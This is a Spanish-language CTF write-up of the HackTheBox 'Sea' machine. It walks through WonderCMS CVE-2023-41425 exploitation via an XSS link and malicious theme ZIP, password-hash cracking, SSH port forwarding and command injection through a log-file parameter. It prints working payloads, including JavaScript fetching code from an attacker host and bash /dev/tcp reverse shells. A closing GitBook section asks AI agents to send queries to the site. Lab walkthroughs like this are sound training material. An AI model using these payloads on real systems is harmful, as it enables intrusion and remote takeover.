> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md).

# Guía de HackTheBox Sea

Guía de la máquina HackTheBox Sea Fácil Linux que cubre explotación de Wonder CMS, vulnerabilidad CSRF, (XSS a RCE), redirección de puertos, con notas prácticas de enumeración, explotación, acceso inicial y escalada de privilegios

{% embed url="<https://app.hackthebox.com/machines/Sea>" %}

{% hint style="warning" %}
**Habilidades**:

* Explotación de Wonder CMS
* Vulnerabilidad CSRF
* (XSS a RCE)
* Reenvío de puertos
* Vulnerabilidad de envenenamiento de logs (LFI - RCE)
  {% endhint %}

## Reconocimiento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd89c319616a936a8813b9f021f83f105d01bddc%2Fimage%20(1401).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2086c6c80fcd5c31307228d5ec8f405a4dbb847c%2Fimage%20(1402).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5f298d94c2df01525727112d4a82a521a18cf38%2Fimage%20(1403).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.80)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7caea768f71e1f9daef2b0c73896282e2280862%2Fimage%20(1404).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted":

```bash
nmap -sCV -p80,22 10.10.11.28 -oN targeted
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-904b87c50b8329911ab40a026709fdd81d6670f2%2Fimage%20(1405).png?alt=media" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` .

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08166dc53383a671ebdcca7ffa1d7d0172aba294%2Fimage%20(1407).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b2d5aa413b86fac778640fc50c293d503ad0163%2Fimage%20(1406).png?alt=media" alt=""><figcaption></figcaption></figure>

**Descubrimiento de un sitio de contacto:**

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-387be0f55148319f1b35cc4c360b38845eb7e331%2Fimage%20(1390).png?alt=media" alt=""><figcaption></figcaption></figure>

**Comprobación de las comunicaciones entre el servidor y el sitio:**/ Encontramos una parte del sitio dedicada a contactos. Comprobamos si el servidor está enviando marcos a este sitio.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7563ef5175ef472d98f27efa577673407c114c96%2Fimage%20(1392).png?alt=media" alt=""><figcaption></figcaption></figure>

**Recepción de un marco en nuestro servidor web:**/ Para capturar este marco, configuramos un servidor HTTP simple con Python:

```bash
python3 -m http.server 555
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fbea8b6820e78a658935e2527a9cf05de8c3dfc%2Fimage%20(1391).png?alt=media" alt=""><figcaption></figcaption></figure>

**Interceptando la petición con** [Burp Suite ](/es/hacking-tools/web/burpsuite.md)**:**/ Interceptamos la petición con Burp Suite para analizar las comunicaciones.

## **Posible** [**SSRF**](/es/web/ssrf.md)**:**

#### Intentamos enumerar servicios internos usando un ataque SSRF, modificando el parámetro de consulta:

```bash
&website=http:127.0.0.1
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc85f425e8fcc4afd6a713cbcbf1295c7edfeddc%2Fimage%20(1393).png?alt=media" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos internos con Intruder:**/ Usamos Burp Suite Intruder para realizar un ataque de fuerza bruta y descubrir puertos internos abiertos.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436267a66ad07c2934649a19c44546e8334d6989%2Fimage%20(1394).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b3a24402b1541e912476df45e329e181aa14f6a%2Fimage%20(1395).png?alt=media" alt=""><figcaption></figcaption></figure>

**Filtrado de respuestas:**/ Filtramos las respuestas según su tamaño para identificar cuáles son relevantes, pero todas son iguales.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-666ee51bf4810e8442932a93e1cb15aff1077507%2Fimage%20(1396).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de WonderCMS ([CSRF](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (XSS a RCE) <a href="#wondercms-vulnerability" id="wondercms-vulnerability"></a>

**Búsqueda de directorios:**/ Usamos Gobuster para buscar directorios en el sitio:

```bash
gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Esto nos devuelve el **/themes** directorio con un código de redirección 301.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d6cfe120369f96bd1d929feb6338f5a22b3b166%2Fimage%20(1397).png?alt=media" alt=""><figcaption></figcaption></figure>

**Explorando el directorio themes:**/ Continuamos la búsqueda añadiendo la ruta descubierta a la URL y explorando el **/themes** directorio

```bash
gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Encontramos el **/bike** subdirectorio.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47e11f27595831e73c1d9977cdc10776c7cde182%2Fimage%20(1398).png?alt=media" alt=""><figcaption></figcaption></figure>

**Filtrado por extensiones de archivo:**/ Usamos *ffuf* para filtrar archivos con ciertas extensiones (php, html, png, etc.) en el **/bike** directorio:

```bash
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403
```

Este comando nos permite encontrar un archivo llamado **README.md**

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c62436c55c0e4c5d0bb92c43af0c82225b958717%2Fimage%20(1399).png?alt=media" alt=""><figcaption></figcaption></figure>

Encontramos un `README.md` archivo que indica que el servidor usa un tema llamado "WONDER", que es un CMS.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-98c095dcf1c7cd000d445a6d7710e2b6e630d1b5%2Fimage%20(1400).png?alt=media" alt=""><figcaption></figcaption></figure>

Mientras buscábamos vulnerabilidades relacionadas con este CMS, descubrimos una falla que permite la ejecución remota de código (RCE) mediante inyección XSS.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**Código JavaScript para obtener una shell:**/ El siguiente código JavaScript descarga un archivo ZIP malicioso que contiene un script de reverse shell y luego lo ejecuta en el servidor:

```javascript
// el servidor tiene algún problema resolviendo el nombre de dominio con JavaScript
// podemos simplemente proporcionar la URL objetivo como parámetro requerido
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// modificar la ruta del archivo ZIP servido en el servidor HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visitar rev.php dentro del archivo ZIP subido
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // activar el script de reverse shell y proporcionar la IP y el puerto del listener
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Instalación del script de exploit para la vulnerabilidad (CVE-2023-41425):**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Ejecutamos el script de explotación:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

El script anterior envía una petición a nuestro servidor en el puerto 8000 a través de un `xss.js` archivo, otorgándonos acceso RCE y control de la máquina objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7505b5e2d642f24480a1d66b5fa47fac32186830%2Fimage%20(2274).png?alt=media" alt=""><figcaption></figcaption></figure>

**Paso final:**

Necesitamos enviar el enlace XSS al administrador a través del `contact.php` formulario para engañarlo y que haga clic en el enlace malicioso:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a7badabd359f6ac43583778db89d9661df82a79%2Fimage%20(2267).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03e29c4f6d815d1c8a07a0b04dd8fa3eea041c34%2Fimage%20(2268).png?alt=media" alt=""><figcaption></figcaption></figure>

**Escuchando con Netcat:**/ Escuchamos en el puerto 4444:

```bash
nc -nlvp 4444
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a85982bb902979479e1938141c505604f89aca%2Fimage%20(2273).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Una vez que tengas acceso al servidor Linux, usa los siguientes comandos para estabilizar la terminal <a href="#terminal-stabilization" id="terminal-stabilization"></a>

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Estabiliza la shell para trabajar más cómodamente. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Escalada de privilegios:

Como usuario *www-data*, filtraremos el contenido usando el `find` comando para buscar solo archivos que contengan la palabra "**contraseña**" en el directorio del servidor web `/var/www/sea`.

```bash
find /var/www/sea -type f -exec grep -Hn "password" {} /
```

Encontramos una contraseña cifrada en el `database.js` archivo:

`$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5023f087dd396b0a7a5493af77b5d6361ad507be%2Fimage%20(2275).png?alt=media" alt=""><figcaption></figcaption></figure>

Para descifrar esta contraseña, usamos la **John the Ripper** herramienta con el `rockyou.txt` archivo de diccionario:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31299c1c6b38044b08a25216659760471cb8ad62%2Fimage%20(2277).png?alt=media" alt=""><figcaption></figcaption></figure>

La contraseña descifrada es mychemicalromance

Ahora intentaremos conectarnos con los dos usuarios disponibles en el sistema: "geo" y "amays".

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-205a424f7c0923503e3c19ddc8ca85e0efc10d82%2Fimage%20(2276).png?alt=media" alt=""><figcaption></figcaption></figure>

La contraseña del usuario **amays** es correcta.

### Bandera user.txt

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af4f1bf6eeec52a034a3690bdeb6684cc1c659e5%2Fimage%20(2278).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Analizando las comunicaciones de la red interna, encontramos que el puerto 8080 estaba en uso:

```bash
netstat -ano
netstat -nltp
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee9e9101abe24193d85be7de6c51fba7d2a72973%2Fimage%20(1378).png?alt=media" alt=""><figcaption></figcaption></figure>

Por lo tanto, redirigiremos el puerto 8080 del servidor a nuestra máquina atacante mediante SSH usando reenvío de puertos, desde el puerto 8888:

```bash
ssh -L 8888:localhost:8080 amay@10.10.11.28
```

Una vez conectados, encontramos un panel de inicio de sesión.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b5c3901eeb47b76243306048d2e3026248c4c41%2Fimage%20(1379).png?alt=media" alt=""><figcaption></figcaption></figure>

Con las credenciales del usuario `amay`: `mychemicalromance`, logramos conectarnos a un sistema de monitoreo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b69aaca000c4605ad00d0a4b616f6c8a7e1aecdb%2Fimage%20(1380).png?alt=media" alt=""><figcaption></figcaption></figure>

Podemos observar los registros de conexión de `root`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ada26656355271a952775187f56505897059b7d%2Fimage%20(1381).png?alt=media" alt=""><figcaption></figcaption></figure>

Al interceptar la petición con Burp Suite, notamos que muestra el contenido del `/var/log/apache2/access.log` archivo de una manera más estructurada.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bd751fb09e5bbf6d4b045d20eae3b67f8685a5a%2Fimage%20(1383).png?alt=media" alt=""><figcaption></figcaption></figure>

Este archivo solo puede ser abierto por el usuario `root`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cc5134fdb82751281b815d7fbf192c7f5a2f498%2Fimage%20(1384).png?alt=media" alt=""><figcaption></figcaption></figure>

### Vulnerabilidad [(LFI - RCE) Envenenamiento de logs](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md):

Si intentamos listar un archivo como `/etc/passwd`, por ejemplo:

```
log_file=/etc/passwd  &analyze_log=/etc/passwd
```

¡El archivo se lista :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a87e0c3f818aba8b543536fa0bcde800c20fd538%2Fimage%20(1385).png?alt=media" alt=""><figcaption></figcaption></figure>

Luego intentaremos leer el archivo que contiene la `root` flag y observamos que es posible ejecutar comandos (como `id`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25d40a134773f4e7b8900b755653d877c459d502%2Fimage%20(1386).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Acceso completo (reverse shell):**

Para obtener una reverse shell, ejecutamos el siguiente comando:

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"
```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt
```

{% endcode %}

Luego, escuchamos con `nc`:

```bash
nc -nvlp 443
```

### Flag root :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92f9ac60bb34c2a23a0d516aad28671d5dfa26e5%2Fimage%20(1388).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f51bbd2f363212b6084c889207caf4f8f423be8%2Fimage%20(1389).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
